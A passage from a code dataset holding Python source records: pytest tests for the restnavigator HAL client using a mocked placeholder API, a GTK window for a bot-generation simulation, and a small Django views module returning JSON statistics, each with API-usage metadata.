{"api_name": "tensorflow.compat.v1.float32", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.Variable", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 37, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.random_normal", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.Variable", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 39, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.random_normal", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.nn.softmax", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.nn", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 42, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.matmul", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.reduce_mean", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 47, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.reduce_sum", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.log", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.train.GradientDescentOptimizer", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.train", "line_number": 50, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 50, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.Session", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 54, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.global_variables_initializer", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 55, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.equal", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 75, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.argmax", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.reduce_mean", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 78, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.cast", "line_number": 78, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.float32", "line_number": 78, "usage_type": "attribute"}]} +{"seq_id": "562118955", "text": "'''Refactored tests from test_hal_nav.py'''\n\nimport json\n\nimport httpretty\nimport pytest\n\nimport conftest\n\nimport uritemplate\n\nimport restnavigator as RN\nfrom restnavigator import exc\nimport restnavigator.halnav as HN\n\n\ndef uri_of(doc):\n '''Pull out the url from a hal document'''\n return doc['_links']['self']['href']\n\ndef link_to(doc):\n '''Pull out the self link of a hal document'''\n return doc['_links']['self']\n\n\ndef register_hal_page(doc, **kwargs):\n def body_callback(request, url, headers):\n '''We do a callback so the response body can be updated'''\n return (\n kwargs.get('status', 200),\n kwargs.get('headers', headers),\n json.dumps(doc),\n )\n\n httpretty.HTTPretty.register_uri(\n kwargs.get('method', 'GET'),\n body=body_callback,\n content_type=kwargs.get('content_type', 'application/hal+json'),\n uri=uri_of(doc),\n **kwargs\n )\n\n@pytest.fixture\ndef page(index_page, curie_links, index_uri):\n '''Returns a function that creates pages'''\n def _page(name, number):\n selflink = {\n 'href': index_uri + name + '/' + str(number),\n 'name': name + str(number),\n }\n nextlink = {\n 'href': index_uri + name + '/' + str(number + 1),\n 'name': name + str(number + 1),\n }\n doc = {\n '_links': {\n 'self': selflink,\n 'curies': curie_links,\n 'next': nextlink\n },\n 'name': name,\n 'number': number,\n 'data': conftest.random_sentence(),\n }\n register_hal_page(doc)\n _page.registry.setdefault(name, []).append(doc)\n return doc\n _page.registry = {}\n return _page\n\n\n@pytest.yield_fixture\ndef http(request):\n '''Enables httpretty and disables it after the test'''\n httpretty.HTTPretty.enable()\n yield httpretty.HTTPretty\n httpretty.HTTPretty.disable()\n httpretty.HTTPretty.reset()\n\n\n@pytest.fixture\ndef index_uri():\n '''Fixture for the root uri'''\n return 'http://fakeuri.example/api/'\n\n@pytest.fixture\ndef curie():\n '''Returns the current curie string'''\n return conftest.random_word(2).lower()\n\n@pytest.fixture\ndef curify(curie):\n def _curify(rel):\n return curie + ':' + rel\n return _curify\n\n@pytest.fixture\ndef curie_links(curie, index_uri):\n '''Returns a templated curie link'''\n return [{\n 'name': curie,\n 'href': index_uri + 'rels/{rel}',\n 'templated': True,\n }]\n\n@pytest.fixture\ndef index_page(curie_links, index_uri, http):\n '''Registers a basic index page that can be extended'''\n doc = {\n '_links': {\n 'curies': curie_links,\n 'self': {'href': index_uri},\n },\n 'data': conftest.random_paragraphs(),\n }\n register_hal_page(doc)\n return doc\n\n\n@pytest.fixture\ndef N(index_uri, index_page):\n '''A basic HALNavigator with the index_uri as root'''\n return RN.Navigator.hal(index_uri)\n\n\nclass TestTemplateThunk:\n '''tests for halnav.TemplatedThunk'''\n\n @pytest.fixture\n def rel(self, curify, name):\n '''The link relation for the templated link'''\n return curify(name)\n\n @pytest.fixture(params=[set(['x']), set(['x', 'y']), set(['x', 'y', 'z'])])\n def vars(self, request):\n '''A set of random variables'''\n return request.param\n\n @pytest.fixture(params=[(0,0,0), (1,2,3)])\n def values(self, request):\n return dict(zip('xyz', request.param))\n\n @pytest.fixture\n def name(self):\n '''The name of the templated resource'''\n return conftest.random_word(5).lower() + 's'\n\n @pytest.fixture\n def post_template(self, name, index_uri, index_page, rel, vars):\n '''Creates and registers a post templated link'''\n href = \"{index_uri}{name}/{{{varpath}}}\".format(\n index_uri=index_uri,\n name=name,\n varpath='}/{'.join(v for v in sorted(vars))\n )\n link = {\n 'href': href,\n 'title': 'Templated link for ' + name,\n 'templated': True,\n }\n index_page['_links'][rel] = link\n return href\n\n @pytest.fixture\n def tpl_rel(self, name, curify):\n return curify(name + '_tpl')\n\n @pytest.fixture\n def posts(self, rel, name, index_uri, index_page, page, tpl_rel):\n '''Creates and registers some posts'''\n resource0 = page(name, 0)\n index_page['_links'][rel] = link_to(resource0)\n index_page['_links'][tpl_rel] = {\n 'href': index_uri + name + '/{id}',\n 'title': 'Template for ' + name,\n 'templated': True,\n }\n register_hal_page(resource0)\n last = resource0\n for i in range(1, 5):\n resource = page(name, i)\n last['_links']['next'] = link_to(resource)\n last = resource\n register_hal_page(resource)\n return page.registry[name][:]\n\n @pytest.fixture\n def template_thunk(self, rel, index_page, N, post_template):\n return N[rel]\n\n def test_template_uri(self, template_thunk, post_template):\n assert template_thunk.template_uri == post_template\n\n def test_expand_uri(\n self, vars, post_template, template_thunk, values):\n uri = template_thunk.expand_uri(**values)\n assert uri == uritemplate.expand(post_template, values)\n\n def test_expand_link(\n self, vars, post_template, template_thunk, values):\n link = template_thunk.expand_link(**values)\n assert not link.props.get('templated', False)\n assert link.uri == uritemplate.expand(post_template, values)\n\n def test_expand(self, vars, post_template, template_thunk, values):\n post1 = template_thunk(**values)\n assert not post1.fetched\n assert post1.uri == uritemplate.expand(post_template, values)\n\n def test_variables(self, template_thunk, vars):\n assert template_thunk.variables == vars\n\n @pytest.mark.parametrize('i', range(0, 5))\n def test_valid_expansion(self, posts, name, N, tpl_rel, i):\n thunk = N[tpl_rel]\n nav = thunk(id=i)\n nav.fetch()\n assert nav.status == (200, 'OK')\n assert nav.uri == uri_of(posts[i])\n\n\nclass TestHALNavGetItem:\n '''Tests the __getitem__ method of HALNavigator '''\n\n @pytest.fixture\n def names(self):\n namelist = [conftest.random_word().lower() for _ in range(3)]\n def _names(i):\n return namelist[i]\n return _names\n\n @pytest.fixture\n def rels(self, names, curify):\n def _rels(i):\n return curify(names(i))\n return _rels\n\n @pytest.fixture\n def resources(self, names, rels, index_page, index_uri, page):\n last = index_page\n for i in range(3):\n new = page(names(i), i)\n last['_links'][rels(i)] = {\n 'href': uri_of(new),\n 'title': \"Page for \" + names(i)\n }\n last = new\n\n def test_fetch_behavior(self, N, resources, rels):\n Na = N[rels(0)]\n Nb = N[rels(0), rels(1)]\n assert Na.fetched\n assert not Nb.fetched\n\n def test_sequence_equivalence(self, N, resources, rels):\n Na = N[rels(0), rels(1), rels(2)]\n Nb = N[rels(0)][rels(1)][rels(2)]\n assert Na is Nb\n\n @pytest.fixture\n def link_resources(self, rels, names, index_page, page):\n first = page(names(0), 1)\n index_page['_links'][rels(0)] = link_to(first)\n register_hal_page(first)\n second1 = page(names(1), 1)\n second2 = page(names(1), 2)\n first['_links'][rels(1)] = [\n {\n 'href': uri_of(second1),\n 'name': 'name_x',\n },{\n 'href': uri_of(second2),\n 'name': 'name_y',\n }\n ]\n register_hal_page(second1)\n register_hal_page(second2)\n third_1 = page(names(2), 1)\n third_2 = page(names(2), 2)\n second1['_links'][rels(2)] = link_to(third_1)\n second2['_links'][rels(2)] = link_to(third_2)\n register_hal_page(third_1)\n register_hal_page(third_2)\n\n def test_linklist_in_sequence(self, N, link_resources, rels):\n Nchained = N[rels(0), rels(1), 'name':'name_x', rels(2)]\n Nfirst = N[rels(0)]\n Nsecondlist = Nfirst[rels(1)]\n Nsecond = Nsecondlist.get_by('name', 'name_x')\n Nthird = Nsecond[rels(2)]\n\n assert Nchained is Nthird\n\n def test_linklist_index(self, N, link_resources, rels):\n Nchained = N[rels(0), rels(1), 1, rels(2)]\n Nfirst = N[rels(0)]\n Nsecondlist = Nfirst[rels(1)]\n Nsecond = Nsecondlist[1]\n Nthird = Nsecond[rels(2)]\n assert Nchained is Nthird\n\n def test_bad_rel(self, N, link_resources, rels):\n with pytest.raises(exc.OffTheRailsException):\n N[rels(1)]\n\n with pytest.raises(exc.OffTheRailsException):\n N[rels(0), rels(0)]\n\n def test_bad_name(self, N, link_resources, rels):\n with pytest.raises(exc.OffTheRailsException):\n N[rels(0), rels(1), 'name':'badname']\n\n def test_bad_index(self, N, link_resources, rels):\n with pytest.raises(exc.OffTheRailsException):\n N[rels(0), rels(1), 100]\n\n @pytest.fixture\n def template_uri(self, index_uri):\n return index_uri + 'tpl/{id}'\n\n @pytest.fixture\n def tpl_rel(self, curify):\n return curify('tpl')\n\n @pytest.fixture\n def tpl_resources(self, page, tpl_rel, template_uri, index_page):\n index_page['_links'][tpl_rel] = {\n 'href': template_uri,\n 'templated': True,\n 'title': 'Template link',\n }\n for i in range(3):\n resource = page('tpl', i)\n register_hal_page(resource)\n return template_uri\n\n def test_template_sequence(self, N, tpl_resources, tpl_rel):\n Na = N[tpl_rel](id=0)\n Nb = N[tpl_rel](id=1)\n Nc = N[tpl_rel](id=2)\n Na(), Nb(), Nc()\n assert Na.status == (200, 'OK')\n assert Nb.status == (200, 'OK')\n assert Nc.status == (200, 'OK')\n\n\n@pytest.mark.xfail(reason=\"Embedded not implemented yet\")\nclass TestEmbedded:\n '''tests for embedded document features'''\n\n\n @pytest.fixture\n def blog_posts(self, http):\n '''Posts are both linked and embedded'''\n _posts = [self.page('post', x) for x in range(3)]\n for post in _posts:\n register_hal_page(post)\n return _posts\n\n @pytest.fixture\n def comments(self, page):\n '''Comments are embedded only and have no self link'''\n comments = [page('comments', x) for x in range(3)]\n for comment in comments:\n del comment['_links']['self']\n return comments\n\n @pytest.fixture\n def index(self, index_uri, comments, blog_posts, http):\n doc = {\n '_links': {\n 'curies': [{\n 'name': 'xx',\n 'href': index_uri + 'rels/{rel}',\n 'templated': True,\n }],\n 'self': {'href': index_uri},\n 'first': link_to(blog_posts[0]),\n 'xx:second': link_to(blog_posts[1]),\n 'xx:posts': [link_to(post) for post in blog_posts]\n },\n 'data': 'Some data here',\n '_embedded': {\n 'xx:posts': blog_posts,\n 'xx:comments': comments,\n }\n }\n register_hal_page(doc)\n return doc\n\n def test_only_idempotent(self, N, index):\n assert not N['xx:comments'][0].idempotent\n\n def test_length_accurate(self, N, index, comments):\n assert len(N['xx:comments']) == len(comments)\n\n def test_links_and_embedded(self, N, index):\n assert 'xx:comments' in N\n assert 'xx:comments' not in N.links\n assert 'xx:comments' in N.embedded\n assert 'xx:posts' in N\n assert 'xx:posts' in N.links\n assert 'xx:posts' in N.embedded\n", "sub_path": "tests/test_hal_nav2.py", "file_name": "test_hal_nav2.py", "file_ext": "py", "file_size_in_byte": 12068, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}, {"api_name": "httpretty.HTTPretty.register_uri", "line_number": 35, "usage_type": "call"}, {"api_name": "httpretty.HTTPretty", "line_number": 35, "usage_type": "attribute"}, {"api_name": "conftest.random_sentence", "line_number": 63, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 43, "usage_type": "attribute"}, {"api_name": "httpretty.HTTPretty.enable", "line_number": 75, "usage_type": "call"}, {"api_name": "httpretty.HTTPretty", "line_number": 75, "usage_type": "attribute"}, {"api_name": "httpretty.HTTPretty", "line_number": 76, "usage_type": "attribute"}, {"api_name": "httpretty.HTTPretty.disable", "line_number": 77, "usage_type": "call"}, {"api_name": "httpretty.HTTPretty", "line_number": 77, "usage_type": "attribute"}, {"api_name": "httpretty.HTTPretty.reset", "line_number": 78, "usage_type": "call"}, {"api_name": "httpretty.HTTPretty", "line_number": 78, "usage_type": "attribute"}, {"api_name": "pytest.yield_fixture", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 81, "usage_type": "attribute"}, {"api_name": "conftest.random_word", "line_number": 89, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 86, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 97, "usage_type": "attribute"}, {"api_name": "conftest.random_paragraphs", "line_number": 114, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 106, "usage_type": "attribute"}, {"api_name": "restnavigator.Navigator.hal", "line_number": 123, "usage_type": "call"}, {"api_name": "restnavigator.Navigator", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 120, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 129, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 134, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 139, "usage_type": "call"}, {"api_name": "conftest.random_word", "line_number": 146, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 143, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 148, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 164, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 168, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 187, "usage_type": "attribute"}, {"api_name": "uritemplate.expand", "line_number": 197, "usage_type": "call"}, {"api_name": "uritemplate.expand", "line_number": 203, "usage_type": "call"}, {"api_name": "uritemplate.expand", "line_number": 208, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 213, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 213, "usage_type": "attribute"}, {"api_name": "conftest.random_word", "line_number": 227, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 225, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 232, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 238, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 260, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 303, "usage_type": "call"}, {"api_name": "restnavigator.exc.OffTheRailsException", "line_number": 303, "usage_type": "attribute"}, {"api_name": "restnavigator.exc", "line_number": 303, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 306, "usage_type": "call"}, {"api_name": "restnavigator.exc.OffTheRailsException", "line_number": 306, "usage_type": "attribute"}, {"api_name": "restnavigator.exc", "line_number": 306, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 310, "usage_type": "call"}, {"api_name": "restnavigator.exc.OffTheRailsException", "line_number": 310, "usage_type": "attribute"}, {"api_name": "restnavigator.exc", "line_number": 310, "usage_type": "name"}, {"api_name": "pytest.raises", "line_number": 314, "usage_type": "call"}, {"api_name": "restnavigator.exc.OffTheRailsException", "line_number": 314, "usage_type": "attribute"}, {"api_name": "restnavigator.exc", "line_number": 314, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 317, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 321, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 325, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 352, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 360, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 368, "usage_type": "attribute"}, {"api_name": "pytest.mark.xfail", "line_number": 347, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 347, "usage_type": "attribute"}]} +{"seq_id": "15974386", "text": "\"\"\"Generation app.\"\"\"\nimport gi\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk, GLib\nfrom canvas import Canvas\n\n\nclass DrawingWindow(Gtk.Window):\n\n def __init__(self):\n super(Gtk.Window, self).__init__(title=\"DrawingArea\")\n self.energy = 200\n self.__create_interface()\n\n def __create_interface(self):\n self.maximize()\n self.set_position(Gtk.WindowPosition.CENTER)\n\n box_master = Gtk.Box()\n box_master.set_border_width(5)\n self.add(box_master)\n\n left_box = Gtk.Box()\n box_master.pack_start(left_box, True, True, 0)\n\n separator = Gtk.VSeparator()\n box_master.pack_start(separator, False, False, 5)\n\n right_box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL)\n right_box.set_size_request(150, -1)\n box_master.add(right_box)\n\n separator = Gtk.HSeparator()\n right_box.pack_start(separator, False, True, 10)\n\n execute_button = Gtk.ToggleButton(\"Start\")\n execute_button.set_active(False)\n execute_button.connect(\"toggled\", self.on_execute)\n right_box.pack_start(execute_button, False, True, 0)\n\n separator = Gtk.HSeparator()\n right_box.pack_start(separator, False, True, 10)\n\n label = Gtk.Label(\"Count bots\")\n right_box.pack_start(label, False, True, 0)\n self.count_bots_entry = Gtk.Entry()\n self.count_bots_entry.set_text(str(0))\n self.count_bots_entry.set_editable(False)\n right_box.pack_start(self.count_bots_entry, False, True, 0)\n\n label = Gtk.Label(\"Generation\")\n right_box.pack_start(label, False, True, 0)\n self.generation_entry = Gtk.Entry()\n self.generation_entry.set_text(str(0))\n self.generation_entry.set_editable(False)\n right_box.pack_start(self.generation_entry, False, True, 0)\n\n label = Gtk.Label(\"Mutatuins\")\n right_box.pack_start(label, False, True, 0)\n self.mutation_entry = Gtk.Entry()\n self.mutation_entry.set_text(str(0))\n self.mutation_entry.set_editable(False)\n right_box.pack_start(self.mutation_entry, False, True, 0)\n\n separator = Gtk.HSeparator()\n right_box.pack_start(separator, False, True, 10)\n\n space = Gtk.Alignment()\n right_box.pack_start(space, True, True, 0)\n\n separator = Gtk.HSeparator()\n right_box.pack_start(separator, False, True, 10)\n\n label = Gtk.Label(\"Energy\")\n right_box.pack_start(label, False, True, 0)\n self.energy_s_button = Gtk.SpinButton()\n adjuctment = Gtk.Adjustment(0.0, 0.0, 1000.0, 10.0, 50.0, 0.0)\n self.energy_s_button.set_adjustment(adjuctment)\n self.energy_s_button.set_value(self.energy)\n self.energy_s_button.connect(\"changed\", self.on_changed_energy)\n right_box.pack_start(self.energy_s_button, False, True, 0)\n\n separator = Gtk.HSeparator()\n right_box.pack_start(separator, False, True, 10)\n\n button_box = Gtk.ButtonBox()\n right_box.pack_start(button_box, False, True, 0)\n\n separator = Gtk.HSeparator()\n right_box.pack_start(separator, False, True, 10)\n\n self.apply_energy_button = Gtk.Button(\"Apply\")\n self.apply_energy_button.set_sensitive(False)\n self.apply_energy_button.connect(\"clicked\", self.on_apply_energy)\n button_box.add(self.apply_energy_button)\n\n close_button = Gtk.Button(\"Close\")\n close_button.connect(\"clicked\", Gtk.main_quit)\n button_box.add(close_button)\n\n self.scroll_box = Gtk.ScrolledWindow()\n self.scroll_box.set_policy(Gtk.PolicyType.NEVER, Gtk.PolicyType.NEVER)\n left_box.pack_start(self.scroll_box, True, True, 0)\n\n self.canvas = Canvas(\n energy=self.energy\n )\n self.scroll_box.add(self.canvas)\n\n def on_execute(self, button):\n if button.get_active():\n # self.canvas.run()\n # self.__timeout_id = GLib.timeout_add(10, self.on_start, self)\n self.__timeout_id = GLib.timeout_add(100, self.on_start, self)\n button.set_label(\"Stop\")\n else:\n # self.canvas.stop()\n GLib.source_remove(self.__timeout_id)\n del self.__timeout_id\n button.set_label(\"Start\")\n\n def on_changed_energy(self, spin):\n if self.energy == spin.get_value_as_int():\n self.apply_energy_button.set_sensitive(False)\n else:\n self.apply_energy_button.set_sensitive(True)\n\n def on_apply_energy(self, widget):\n self.energy = self.energy_s_button.get_value_as_int()\n widget.set_sensitive(False)\n self.canvas.set_data(True)\n\n def on_start(self, widget):\n widget.canvas.queue_draw()\n return True\n", "sub_path": "window.py", "file_name": "window.py", "file_ext": "py", "file_size_in_byte": 4767, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "gi.require_version", "line_number": 3, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.Window", "line_number": 8, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 8, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Window", "line_number": 11, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 11, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.WindowPosition", "line_number": 17, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 17, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Box", "line_number": 19, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 19, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Box", "line_number": 23, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 23, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.VSeparator", "line_number": 26, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 26, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Box", "line_number": 29, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 29, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Orientation", "line_number": 29, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk.HSeparator", "line_number": 33, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 33, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.ToggleButton", "line_number": 36, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 36, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.HSeparator", "line_number": 41, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 41, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Label", "line_number": 44, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 44, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Entry", "line_number": 46, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 46, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Label", "line_number": 51, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 51, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Entry", "line_number": 53, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 53, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Label", "line_number": 58, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 58, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Entry", "line_number": 60, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 60, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.HSeparator", "line_number": 65, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 65, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Alignment", "line_number": 68, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 68, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.HSeparator", "line_number": 71, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 71, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Label", "line_number": 74, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 74, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.SpinButton", "line_number": 76, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 76, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Adjustment", "line_number": 77, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 77, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.HSeparator", "line_number": 83, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 83, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.ButtonBox", "line_number": 86, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 86, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.HSeparator", "line_number": 89, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 89, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Button", "line_number": 92, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 92, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Button", "line_number": 97, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 97, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.main_quit", "line_number": 98, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 98, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.ScrolledWindow", "line_number": 101, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 101, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.PolicyType", "line_number": 102, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 102, "usage_type": "name"}, {"api_name": "canvas.Canvas", "line_number": 105, "usage_type": "call"}, {"api_name": "gi.repository.GLib.timeout_add", "line_number": 114, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 114, "usage_type": "name"}, {"api_name": "gi.repository.GLib.source_remove", "line_number": 118, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 118, "usage_type": "name"}]} +{"seq_id": "119565027", "text": "# -*- coding: utf8 -*- \nfrom django.http import HttpResponse\nfrom django.template import Context,Template\nimport datetime\nimport json\n\ndef hello(request):\n\treturn HttpResponse(\"Hello world\")\n\n\ndef hours_ahead(request,offset):\n\ttry:\n\t\toffset = int(offset)\n\texcept ValueError:\n\t\traise Http404()\n\t# assert False \n\tdt = datetime.datetime.now() + datetime.timedelta(hours = offset)\n\thtml = \"In %s hour(s), it will be %s.\" % (offset, dt)\n\treturn HttpResponse(html)\n\ndef current_datetime(request):\n\tnow = datetime.datetime.now()\n\tt = Template(\" It is now{{current_date}}.\")\n\thtml = Context({'current_date':now})\n\thtml = t.render(html)\n\treturn HttpResponse(html)\n\ndef getSex(request):\n\ts = {\"data\":[{\"value\":18173,\"name\":u\"男\".encode('utf-8')},\n\t{\"value\":27518,\"name\":u\"女\".encode('utf-8')},{\"value\":11078,\"name\":u\"未知\".encode('utf-8')}]}\n\ts = json.dumps(s,ensure_ascii=False)\n\treturn HttpResponse(s,'content_type=\"application/json')\ndef gao():\n\tans = []\n\tf = open('new3.txt','r')\n\tf = f.readlines()\n\tfor i in f:\n\t\ti = i.split()\n\t\td = {}\n\t\td['value'] = i[1]\n\t\td['name'] = i[0]\n\t\tans.append(d)\n\taim = {}\n\taim['data'] = ans\n\ts = json.dumps(aim,ensure_ascii=False)\n\treturn s\ndef getProvince(requset):\n\treturn HttpResponse(gao(),'content_type=\"application/json')\n\n\ndef gao1():\n\tf = open('new2.txt','r')\n\tf = f.readlines()\n\td = {}\n\tfor i in f:\n\t\tt = i.split()\n\t\tif(len(t)!=3):\n\t\t\tcontinue;\n\t\tif t[1] != '安徽':\n\t\t\tcontinue\n\t\ttry:\n\t\t\td[t[2]] += 1;\n\t\texcept:\n\t\t\td[t[2]] = 1;\n\tans = []\n\tfor i in d:\n\t\tc = {}\n\t\tc['name'] = i;\n\t\tc['value'] = d[i]\n\t\tans.append(c)\n\taim = {}\n\taim['data'] = ans\n\treturn json.dumps(aim,ensure_ascii = False)\n\ndef getCity(request):\n\treturn HttpResponse(gao1(),'content_type=\"application/json')\n", "sub_path": "mysite/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1763, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.http.HttpResponse", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 17, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.template.Template", "line_number": 23, "usage_type": "call"}, {"api_name": "django.template.Context", "line_number": 24, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 26, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 31, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 45, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 48, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 